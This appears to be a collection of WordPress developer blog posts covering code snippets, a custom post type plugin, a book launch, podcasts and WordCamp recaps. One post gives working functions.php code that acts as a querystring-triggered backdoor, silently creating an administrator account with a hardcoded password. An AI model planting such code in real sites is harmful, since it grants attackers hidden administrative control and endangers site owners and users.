Today’s handy WordPress code snippet is a simple way to retrieve user data based on the administrator email in WordPress. The email account I am referring to is the one listed under Settings > General and is the main admin email for your website.
The above code example first loads the admin email from the WordPress options. Next it determines that user’s ID based off of their email address using the get_user_id_from_string() function. Finally we use get_userdata() to load all user data for that user ID.
Currently the get_user_id_from_string() function is only available in WordPress MU. I have confirmed however that this function does exist in WordPress 3.0. That means after the merge this function will be available to all sites running WordPress.
We can also use the get_user_by_email() function included since WordPress 2.5 to accomplish the same task. Thanks to Mo Jangda for pointing that out in the comments. Below is an example using this method:
This is actually a more efficient method as we don’t need to call the function to retrieve the user ID first. In the world of WordPress you learn something everyday. Thanks Mo Jangda!
A few days ago I released a new plugin for WordPress called Custom Post Type UI. This plugin allows you to easily create custom post types in WordPress without writing a single line of code!
Using custom post types is the future of WordPress and really opens the software up to be a full fledged Content Management System (CMS). For example if you are building a website for a car dealer you could create a post type for Cars. A business directory could have a post type for Businesses. A movie database could have a post type for Movies, Actors, and Directors. I think you get the idea. Post types are a very powerful feature in WordPress and my new plugin helps you take advantage of the power!
Below are some screenshots showing the plugin in action:
Easily create new custom post types
New custom post type is automatically added to your admin menu
Easily view and edit existing custom post types
This plugin is a little different than my other plugins because it is primary built for WordPress 3.0, which hasn’t been officially released yet. You can however install WordPress 3.0-alpha very easily using the WordPress Beta Tester plugin created by Peter Westwood.
All custom post types are saved as a single WordPress option in the database keeping this plugin very lightweight. A future version will include creating custom taxonomies for custom post types. I hope this plugin will be rolled into the Core WordPress software at some point, but until then the Custom Post Type UI does the trick!
Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named <thumb> to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress:
function ThumbRSS() {
global $post;
if ( has_post_thumbnail( $post->ID ) ) {
$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' );
}
echo '<thumb>'.$thumbpic.'</thumb>';
}
add_filter('rss_item', 'ThumbRSS');
Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method:
Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!
Yesterday I had the pleasure of being interviewed by Jeff Chandler on the WordPress Weekly Podcast! It was great to be back on the show, even though the spotlight was on me this time. I’ve been participating on the WP Weekly podcast since the start (episode 1) so it was fun to reminisce a bit about how we both started into WordPress and how the podcast came to be.
Hal Stern also joined in at the beginning of the show to discuss our new book, Professional WordPress. Jeff and I also discussed many different topics including the challenges of running a business around open source, secret projects in the works, my thoughts on WordPress and how it compares to other open source CMS solutions, and much more! Be sure to check out the episode and let me know how I did!
After a 4 month writing phase, and 1.5 month editing phase, we have finally completed the book! I’m extremely excited for this book to hit the store shelves and really believe it’s going to be well received by the WordPress Community.
This book is really different than any other WordPress book on the market. Professional WordPress is a more internals look at WordPress and how it functions. We dive into the Core code and review built-in functions and APIs available for use when extending WordPress.
My favorite chapter of the book is the plugin development chapter. I honestly believe this chapter is worth the price alone. If you are interested in creating custom plugins in WordPress, or even if already know how but want to expand your knowledge, this is the book for you!
You’ll learn the correct way to use the Settings API when developing plugins. We also cover data validation and security to make your plugins as secure as possible. This chapter covers everything you need to know to create amazing plugins the correct way in WordPress!
This book was written by myself and David Damstra. Our Technical Editor was Hal Stern. Mike Little, the co-creator of WordPress, was also a Technical Editor and helped verify the methods we used were always the most appropriate and up-to-date.
The organizers did an amazing job putting this WordCamp together. They were constantly giving out prizes, announcing surprises, and keeping everyone thoroughly entertained all day long. Hats off to Amanda, Jake, and John and all the volunteers for an amazing job! They even handed out Monsters!
Don’t mind the Colts slides in my security presentation. I think it gave them good luck when they won the AFC Championship game!
My presentations from the event are below, enjoy!
Top 20 WordPress Plugins You’ve Never Heard Of 2010
Top 20 WordPress Plugins You’ve Never Heard Of 2010 Slideshow
Tomorrow I’ll be attending WordCamp Boston! I’ll be speaking about WordPress Security. I’m also giving an Ignite presentation on the top 20 WordPress plugins you’ve never heard of.
I’m looking forward to seeing many of my WordPress friends that I haven’t seen since WordCamp NYC. I’m also looking forward to meeting new people in the community, many of whom I’ve only spoken with over Twitter. One of the best things about working with WordPress is the community behind it and WordCamp is the best place to meet new friends and see old ones.
This will be my first trip to Boston since I was a little kid so I’m really looking forward to it. I’m also looking forward to watching the Colts win the AFC Championship in a Boston bar surrounded by Patriots fans. Hopefully I make it back alive! I’ll be sure to post both of my presentations from WordCamp Boston in my recap post when I return.
Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:
<?php
add_action('wp_head', 'my_backdoor');
function my_backdoor() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('brad')) {
$user_id = wp_create_user('brad', 'pa55w0rd');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>
To activate this code simply visit http://example.com?backdoor=go
When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.
Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!
I had the pleasure of interviewing Andy Peatling, the founding developer of BuddyPress, on the SitePoint Podcast last week.
Andy and I discussed many different topics including current BuddPress features, upcoming features, release of the new BP default theme, importing data, and much more! Andy is a great guy and was a lot of fun to have on the show. I even found out what Actor would play Andy if BuddyPress were made into a movie! Listen to the episode to find out!
This is the third interview I’ve done with prominent figures in the Open Source web space. Be sure to catch my interview with Roy Rubin of Magento and Matt Mullenweg of WordPress.
I just returned from an awesome weekend at WordCamp NYC 2009! This years event was massive, with 8 tracks of WordPress related sessions and over 700 attendees, all gathered for the love of one software package: WordPress
This year I attended with Matt Martz, Jeff Chandler, Travis Ballard, and the entire WebDevStudios crew. We had an awesome time bouncing around the various sessions.
I gave a presentation on WordPress Security during the event. My presentation was so well received that I was voted to present during the ultra-fast 5 minute ignite round on day two. WebDevStudios also entered two plugins into the plugin/theme competition: WP Manage Plugins and BuddyPress Registration Options. Although we didn’t win the competition our plugins were very well received and we received plenty of compliments. In fact Mark Jaquith stated our plugin was the only one in the competition with no security holes, which equals a win in my book!
WordCamp NYC was the best WordCamp I’ve attended yet! Props to Jane and Steve for organizing, and all of the volunteers who helped pull it off. This is the fourth and final WordCamp I’ll be attending this year, but I’m already looking forward to more WordCamps next year! I hope to see you there!